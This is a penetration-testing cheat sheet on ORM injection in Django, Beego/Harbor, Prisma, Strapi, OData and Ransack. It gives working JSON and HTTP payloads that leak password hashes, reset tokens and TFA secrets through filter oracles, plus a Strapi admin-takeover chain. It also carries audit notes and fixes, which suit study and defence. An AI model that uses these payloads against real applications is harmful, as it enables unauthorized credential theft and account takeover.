daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

orm-injection.md (20812B)


      1 ---
      2 title: "ORM Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/orm-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/orm-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # ORM Injection
     14 
     15 ## Django ORM (Python)
     16 
     17 [**This post**](https://www.elttam.com/blog/plormbing-your-django-orm/) explains how directly expanding attacker-controlled data into Django ORM filters can expose an application, for example:<sup>[[1]](#references)</sup>
     18 
     19 <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
     20     """
     21         Some basic API view that users send requests to for
     22         searching for articles
     23     """
     24     def post(self, request: Request, format=None):
     25         try:
     26 <strong>            articles = Article.objects.filter(**request.data)
     27 </strong>            serializer = ArticleSerializer(articles, many=True)
     28         except Exception as e:
     29             return Response([])
     30         return Response(serializer.data)
     31 </code></pre>
     32 
     33 Here, the entire `request.data` JSON object is passed directly to the database **filter**. An attacker can supply unexpected lookup expressions and relations to leak data outside the intended query.
     34 
     35 Examples:
     36 
     37 - **Login:** In a simple login try to leak the passwords of the users registered inside of it.
     38 
     39 ```json
     40 {
     41   "username": "admin",
     42   "password_startswith": "a"
     43 }
     44 ```
     45 
     46 > [!CAUTION]
     47 > It's possible to brute-force the password until it's leaked.
     48 
     49 - **Relational filtering**: Relations can be traversed to leak columns that the operation was never intended to expose. For example, articles created by a user may lead through: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
     50 
     51 ```json
     52 {
     53   "created_by__user__password__contains": "pass"
     54 }
     55 ```
     56 
     57 > [!CAUTION]
     58 > It's possible to find the password of all the users that have created an article
     59 
     60 - **Many-to-many relational filtering**: In the previous example we couldn't find passwords of users that haven't created an article. However, following other relationships this is possible. For example: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
     61 
     62 ```json
     63 {
     64   "created_by__departments__employees__user_startswith": "admi"
     65 }
     66 ```
     67 
     68 > [!CAUTION]
     69 > In this case we can find all the users in the departments of users that have created articles and then leak their passwords (in the previous json we are just leaking the usernames but then it's possible to leak the passwords).
     70 
     71 - **Abusing Django Group and Permission many-to-many relations with users**: Django's `AbstractUser` model has **many-to-many relationships with the Permission and Group tables**. Those relations can provide a path from one user to **other users in the same group or sharing the same permission**.
     72 
     73 ```bash
     74 # By users in the same group
     75 created_by__user__groups__user__password
     76 
     77 # By users with the same permission
     78 created_by__user__user_permissions__user__password
     79 ```
     80 
     81 - **Bypass filter restrictions**: The same research shows how a guard such as `Article.objects.filter(is_secret=False, **request.data)` can be bypassed by traversing a relationship back to the Article table. The `is_secret` condition applies to the joined non-secret article while attacker-controlled relations select data associated with a secret article.
     82 
     83 ```bash
     84 Article.objects.filter(is_secret=False, categories__articles__id=2)
     85 ```
     86 
     87 > [!CAUTION]
     88 > Abusing relationships it's possible to bypass even filters meant to protect the data shown.
     89 
     90 - **Error/Time based via ReDoS**: In the previous examples it was expected to have different responses if the filtering worked or not to use that as oracle. But it could be possible that some action is done in the database and the response is always the same. In this scenario it could be possible to make the database error to get a new oracle.
     91 
     92 ```json
     93 // Non matching password
     94 {
     95     "created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
     96 }
     97 
     98 // ReDoS matching password (will show some error in the response or check the time)
     99 {"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
    100 ```
    101 
    102 The same research notes the following database-specific behavior:
    103 
    104 - **SQLite**: Doesn't have a regexp operator by default (require loading a third-party extension)
    105 - **PostgreSQL**: Doesn't have a default regex timeout and it's less prone to backtracking
    106 - **MariaDB**: Doesn't have a regex timeout
    107 
    108 ## Beego ORM (Go) & Harbor Filter Oracles
    109 
    110 Beego mirrors Django’s `field__operator` DSL, so any handler that lets users control the first argument to `QuerySeter.Filter()` exposes the entire graph of relations:<sup>[[3]](#references)</sup>
    111 
    112 ```go
    113 qs := o.QueryTable("articles")
    114 qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
    115 ```
    116 
    117 Requests such as `/search?filter=created_by__user__password__icontains=pbkdf` can pivot through foreign keys exactly like the Django primitives above. Harbor’s `q` helper parsed user input into Beego filters, so low-privileged users could probe secrets by watching list responses:
    118 
    119 - `GET /api/v2.0/users?q=password=~$argon2id$` → reveals whether any hash contains `$argon2id$`.
    120 - `GET /api/v2.0/users?q=salt=~abc` → leaks salt substrings.
    121 
    122 Counting returned rows, observing pagination metadata, or comparing response lengths gives an oracle to brute-force entire hashes, salts, and TOTP seeds.
    123 
    124 ### Bypassing Harbor’s patches with `parseExprs`
    125 
    126 Harbor attempted to protect sensitive fields by tagging them with `filter:"false"` and validating only the first segment of the expression:
    127 
    128 ```go
    129 k := strings.SplitN(key, orm.ExprSep, 2)[0]
    130 if _, ok := meta.Filterable(k); !ok { continue }
    131 qs = qs.Filter(key, value)
    132 ```
    133 
    134 Beego’s internal `parseExprs` walks every `__`-delimited segment and, when the current segment is **not** a relation, it simply overwrites the target field with the next segment. Payloads such as `email__password__startswith=foo` therefore pass Harbor’s `Filterable(email)=true` check but execute as `password__startswith=foo`, bypassing deny-lists.
    135 
    136 v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: `q=email__password=~abc` → `Filter("email__password__icontains", "abc")`. The ORM again interprets that as `password__icontains`. Beego apps that only inspect the first `__` component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
    137 
    138 ## Prisma ORM (NodeJS)
    139 
    140 The following are [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).<sup>[[2]](#references)</sup>
    141 
    142 - **Full find contro**l:
    143 
    144 <pre class="language-javascript"><code class="lang-javascript">const app = express();
    145 
    146 app.use(express.json());
    147 
    148 app.post('/articles/verybad', async (req, res) => {
    149     try {
    150         // Attacker has full control of all prisma options
    151 <strong>        const posts = await prisma.article.findMany(req.body.filter)
    152 </strong>        res.json(posts);
    153     } catch (error) {
    154         res.json([]);
    155     }
    156 });
    157 </code></pre>
    158 
    159 It's possible to see that the whole javascript body is passed to prisma to perform queries.
    160 
    161 In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)
    162 
    163 ```json
    164 {
    165     "filter": {
    166         "include": {
    167             "createdBy": true
    168         }
    169     }
    170 }
    171 
    172 // Response
    173 [
    174     {
    175         "id": 1,
    176         "title": "Buy Our Essential Oils",
    177         "body": "They are very healthy to drink",
    178         "published": true,
    179         "createdById": 1,
    180         "createdBy": {
    181             "email": "karen@example.com",
    182             "id": 1,
    183             "isAdmin": false,
    184             "name": "karen",
    185             "password": "super secret passphrase",
    186             "resetToken": "2eed5e80da4b7491"
    187         }
    188     },
    189     ...
    190 ]
    191 ```
    192 
    193 The following one selects all the posts created by someone with a password and wil return the password:
    194 
    195 ```json
    196 {
    197     "filter": {
    198         "select": {
    199             "createdBy": {
    200                 "select": {
    201                     "password": true
    202                 }
    203             }
    204         }
    205     }
    206 }
    207 
    208 // Response
    209 [
    210     {
    211         "createdBy": {
    212             "password": "super secret passphrase"
    213         }
    214     },
    215     ...
    216 ]
    217 ```
    218 
    219 - **Full where clause control**:
    220 
    221 Let's take a look to this where the attack can control the `where` clause:
    222 
    223 <pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
    224     try {
    225         const posts = await prisma.article.findMany({
    226 <strong>            where: req.query.filter as any // Vulnerable to ORM Leaks
    227 </strong>        })
    228         res.json(posts);
    229     } catch (error) {
    230         res.json([]);
    231     }
    232 });
    233 </code></pre>
    234 
    235 It's possible to filter the password of users directly like:
    236 
    237 ```javascript
    238 await prisma.article.findMany({
    239   where: {
    240     createdBy: {
    241       password: {
    242         startsWith: "pas",
    243       },
    244     },
    245   },
    246 })
    247 ```
    248 
    249 > [!CAUTION]
    250 > Using operations like `startsWith` it's possible to leak information.
    251 
    252 - **Many-to-many relational filtering bypassing filtering:**
    253 
    254 ```javascript
    255 app.post("/articles", async (req, res) => {
    256   try {
    257     const query = req.body.query
    258     query.published = true
    259     const posts = await prisma.article.findMany({ where: query })
    260     res.json(posts)
    261   } catch (error) {
    262     res.json([])
    263   }
    264 })
    265 ```
    266 
    267 It's possible to leak not published articles by lopping back to the many-to-many relationships between `Category` -\[\*..\*]-> `Article`:
    268 
    269 ```json
    270 {
    271   "query": {
    272     "categories": {
    273       "some": {
    274         "articles": {
    275           "some": {
    276             "published": false,
    277             "{articleFieldToLeak}": {
    278               "startsWith": "{testStartsWith}"
    279             }
    280           }
    281         }
    282       }
    283     }
    284   }
    285 }
    286 ```
    287 
    288 It's also possible to leak all the users abusing some loop back many-to-many relationships:
    289 
    290 ```json
    291 {
    292   "query": {
    293     "createdBy": {
    294       "departments": {
    295         "some": {
    296           "employees": {
    297             "some": {
    298               "departments": {
    299                 "some": {
    300                   "employees": {
    301                     "some": {
    302                       "departments": {
    303                         "some": {
    304                           "employees": {
    305                             "some": {
    306                               "{fieldToLeak}": {
    307                                 "startsWith": "{testStartsWith}"
    308                               }
    309                             }
    310                           }
    311                         }
    312                       }
    313                     }
    314                   }
    315                 }
    316               }
    317             }
    318           }
    319         }
    320       }
    321     }
    322   }
    323 }
    324 ```
    325 
    326 - **Error/Timed queries**: In the original post you can read an very extensive set of tests performed in order to find the optimal payload to leak information with a time based payload. This is:
    327 
    328 ```json
    329 {
    330     "OR": [
    331         {
    332             "NOT": {ORM_LEAK}
    333         },
    334         {CONTAINS_LIST}
    335     ]
    336 }
    337 ```
    338 
    339 Where the `{CONTAINS_LIST}` is a list with 1000 strings to make sure the **response is delayed when the correct leak is found.**
    340 
    341 ### Type confusion on `where` filters (operator injection)
    342 
    343 Prisma’s query API accepts either primitive values or operator objects. When handlers assume the request body contains plain strings but pass them directly to `where`, attackers can smuggle operators into authentication flows and bypass token checks.<sup>[[3]](#references)</sup>
    344 
    345 ```text
    346 const user = await prisma.user.findFirstOrThrow({
    347     where: { resetToken: req.body.resetToken as string }
    348 })
    349 ```
    350 
    351 Common coercion vectors:
    352 
    353 - **JSON body** (default `express.json()`): `{"resetToken":{"not":"E"},"password":"newpass"}` ⇒ matches every user whose token is not `E`.
    354 - **URL-encoded body** with `extended: true`: `resetToken[not]=E&password=newpass` becomes the same object.
    355 - **Query string** in Express <5 or with extended parsers: `/reset?resetToken[contains]=argon2` leaks substring matches.
    356 - **cookie-parser** JSON cookies: `Cookie: resetToken=j:{"startsWith":"0x"}` if cookies are forwarded to Prisma.
    357 
    358 Because Prisma happily evaluates `{ resetToken: { not: ... } }`, `{ contains: ... }`, `{ startsWith: ... }`, etc., any equality check on secrets (reset tokens, API keys, magic links) can be widened into a predicate that succeeds without knowing the secret. Combine this with relational filters (`createdBy`) to pick a victim.
    359 
    360 Look for flows where:
    361 
    362 - Request schemas aren't enforced, so nested objects survive deserialization.
    363 - Extended body/query parsers stay enabled and accept bracket syntax.
    364 - Handlers forward user JSON directly into Prisma instead of mapping onto allow-listed fields/operators.
    365 
    366 ## Strapi Content API `where` smuggling (NodeJS)
    367 
    368 Strapi's public Content API is a good example of an **ORM/query-builder injection without direct SQL injection**. In vulnerable `@strapi/strapi` versions **4.0.0 through 5.36.1**, the Content API validated/sanitized documented keys such as `filters`, `sort`, `fields`, and `populate`, but **ignored unknown top-level keys** instead of rejecting them. Later, the query transformer preserved those unknown keys via `...rest` and forwarded them into the internal database query builder.<sup>[[5]](#references)</sup><sup>[[6]](#references)</sup>
    369 
    370 That means a public request can smuggle a real `where` tree even though `where` is **not** a documented Content API parameter:
    371 
    372 ```http
    373 GET /api/articles?where[updatedBy][resetPasswordToken][$startsWith]=d
    374 ```
    375 
    376 Why this is dangerous:
    377 
    378 - **Relation traversal**: `updatedBy` / `createdBy` joins the public collection with `admin_users`.
    379 - **Private-field probing**: fields such as `resetPasswordToken` and `email` stay hidden in the JSON response, but they still affect the database predicate.
    380 - **Boolean oracle**: Strapi exposes `meta.pagination.total`, so `total > 0` means the guessed prefix matched at least one related admin row.
    381 
    382 Typical leak probes:
    383 
    384 ```http
    385 GET /api/<collection>?where[updatedBy][email][$startsWith]=adm
    386 GET /api/<collection>?where[updatedBy][resetPasswordToken][$startsWith]=deadbeef
    387 ```
    388 
    389 This is enough to brute-force secrets one character at a time. In Bishop Fox's writeup, the leaked `resetPasswordToken` was then chained with the normal unauthenticated admin reset flow:
    390 
    391 ```http
    392 POST /admin/forgot-password
    393 {"email":"admin@example.com"}
    394 
    395 POST /admin/reset-password
    396 {"resetPasswordToken":"<leaked-token>","password":"<new-password>"}
    397 ```
    398 
    399 This turns the leak oracle into **administrator account takeover** and yields a valid admin JWT.
    400 
    401 ### Safe differential check
    402 
    403 To confirm the bug without resetting any password, compare a baseline request with an always-false injected predicate:
    404 
    405 ```http
    406 GET /api/<collection>
    407 GET /api/<collection>?where[id][$lt]=-1
    408 ```
    409 
    410 On a vulnerable target, both often return `200`, but the second request changes `meta.pagination.total` (commonly to `0`). On patched targets, the unknown `where` key is stripped/rejected, so the total stays equal to the baseline.
    411 
    412 ### Audit notes
    413 
    414 Look for these conditions in Node/TypeScript APIs, not only in Strapi:
    415 
    416 - Validators only inspect **known keys** and silently keep unknown ones.
    417 - Query transformers merge user input with `...rest` / object spread before the ORM sink.
    418 - Public objects have relations to internal/auth tables (`updatedBy`, `createdBy`, `owner`, `user`, `admin`).
    419 - The response exposes an oracle such as **row presence**, **count**, **pagination metadata**, or **timing**.
    420 - Password-reset or magic-link flows can be chained once a stored token becomes enumerable.
    421 
    422 Strapi fixed this class in **5.37.0** by allow-listing valid Content API query keys and enabling strict top-level parameter enforcement in the framework controllers.
    423 
    424 ## Entity Framework & OData Filter Leaks
    425 
    426 ### Reflection-based text helpers leak secrets
    427 
    428 <details>
    429 <summary>Microsoft TextFilter helper abused for leaks</summary>
    430 
    431 ```csharp
    432 IQueryable<T> TextFilter<T>(IQueryable<T> source, string term) {
    433     var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string));
    434     if (!stringProperties.Any()) { return source; }
    435     var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) });
    436     var prm = Expression.Parameter(typeof(T));
    437     var body = stringProperties
    438         .Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term)))
    439         .Aggregate(Expression.OrElse);
    440     return source.Where(Expression.Lambda<Func<T, bool>>(body, prm));
    441 }
    442 ```
    443 </details>
    444 
    445 Helpers that enumerate every string property and wrap them inside `.Contains(term)` effectively expose passwords, API tokens, salts, and TOTP secrets to any user who can call the endpoint. Directus **CVE-2025-64748** is a real-world example where the `directus_users` search endpoint included `token` and `tfa_secret` in its generated `LIKE` predicates, turning result counts into a leak oracle.<sup>[[3]](#references)</sup>
    446 
    447 ### OData comparison oracles
    448 
    449 ASP.NET OData controllers often return `IQueryable<T>` and allow `$filter`, even when functions such as `contains` are disabled. As long as the EDM exposes the property, attackers can still compare on it:
    450 
    451 ```text
    452 GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
    453 GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
    454 ```
    455 
    456 The mere presence or absence of results (or pagination metadata) lets you binary-search each character according to the database collation. Navigation properties (`CreatedBy/Token`, `CreatedBy/User/Password`) enable relational pivots similar to Django/Beego, so any EDM that exposes sensitive fields or skips per-property deny-lists is an easy target.
    457 
    458 Libraries and middleware that translate user strings into ORM operators (e.g., Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) should be treated as high-risk sinks unless they implement strict field/operator allow-lists.
    459 
    460 ## **Ransack (Ruby)**
    461 
    462 These tricks where [**found in this post**](https://positive.security/blog/ransack-data-exfiltration)**.**<sup>[[4]](#references)</sup>
    463 
    464 > [!TIP]
    465 > **Note that Ransack 4.0.0.0 now enforce the use of explicit allow list for searchable attributes and associations.**
    466 
    467 **Vulnerable example:**
    468 
    469 ```ruby
    470 def index
    471   @q = Post.ransack(params[:q])
    472   @posts = @q.result(distinct: true)
    473 end
    474 ```
    475 
    476 Note how the query will be defined by the parameters sent by the attacker. It was possible to for example brute-force the reset token with:
    477 
    478 ```http
    479 GET /posts?q[user_reset_password_token_start]=0
    480 GET /posts?q[user_reset_password_token_start]=1
    481 ...
    482 ```
    483 
    484 By brute-forcing and potentially relationships it was possible to leak more data from a database.
    485 
    486 ## Collation-aware leak strategies
    487 
    488 String comparisons inherit the database collation, so leak oracles must be designed around how the backend orders characters:<sup>[[3]](#references)</sup>
    489 
    490 - Default MariaDB/MySQL/SQLite/MSSQL collations are often case-insensitive, so `LIKE`/`=` cannot distinguish `a` from `A`. Use case-sensitive operators (regex/GLOB/BINARY) when the secret’s casing matters.
    491 - Prisma and Entity Framework mirror the database ordering. Collations such as MSSQL’s `SQL_Latin1_General_CP1_CI_AS` place punctuation before digits and letters, so binary-search probes must follow that ordering rather than raw ASCII byte order.
    492 - SQLite’s `LIKE` is case-insensitive unless a custom collation is registered, so Django/Beego leaks may need `__regex` predicates to recover case-sensitive tokens.
    493 
    494 Calibrating payloads to the real collation avoids wasted probes and significantly speeds up automated substring/binary-search attacks.
    495 
    496 ## References
    497 
    498 - [1] [Plormbing your Django ORM – elttam](https://www.elttam.com/blog/plormbing-your-django-orm/)
    499 - [2] [Plorming your Prisma ORM – elttam](https://www.elttam.com/blog/plorming-your-primsa-orm/)
    500 - [3] [ORM Leaking More Than You Joined For – elttam](https://www.elttam.com/blog/leaking-more-than-you-joined-for/)
    501 - [4] [Ransack Data Exfiltration – Positive Security](https://positive.security/blog/ransack-data-exfiltration)
    502 - [5] [CVE-2026-27886: Unauthenticated Boolean-Oracle Exfiltration of Administrator Secrets in Strapi – Bishop Fox](https://bishopfox.com/blog/cve-2026-27886-unauthenticated-boolean-oracle-exfiltration-of-administrator-secrets-in-strapi)
    503 - [6] [GHSA-rjg2-95x7-8qmx – Strapi Content API where-clause injection advisory](https://github.com/advisories/GHSA-rjg2-95x7-8qmx)